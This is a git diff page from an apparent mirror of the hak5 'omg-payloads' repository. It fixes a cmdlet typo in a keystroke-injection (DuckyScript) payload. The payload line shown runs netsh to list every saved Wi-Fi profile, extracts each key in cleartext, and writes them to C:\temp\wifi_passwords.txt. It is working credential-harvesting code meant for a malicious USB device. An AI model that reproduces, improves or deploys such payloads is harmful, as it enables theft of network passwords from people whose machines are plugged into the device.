mirror of https://github.com/hak5/omg-payloads.git
parent
e7961c6677
commit
ca80a741fb
|
@ -127,7 +127,7 @@ ENTER
|
|||
|
||||
REM Retrieve passwords for each Wi-Fi profile and save to a text file
|
||||
STRING netsh wlan show profiles | Select-String 'All User Profile' | ForEach-Object { $profileName =
|
||||
$_.ToString().Split(':')[1].Trim(); netsh wlan show profile name="$profileName" key=clear | SelectString 'Key Content' } > C:\temp\wifi_passwords.txt
|
||||
$_.ToString().Split(':')[1].Trim(); netsh wlan show profile name="$profileName" key=clear | Select-String 'Key Content' } > C:\temp\wifi_passwords.txt
|
||||
ENTER
|
||||
DELAY 1000
|
||||
|
||||
|
|
Loading…
Reference in New Issue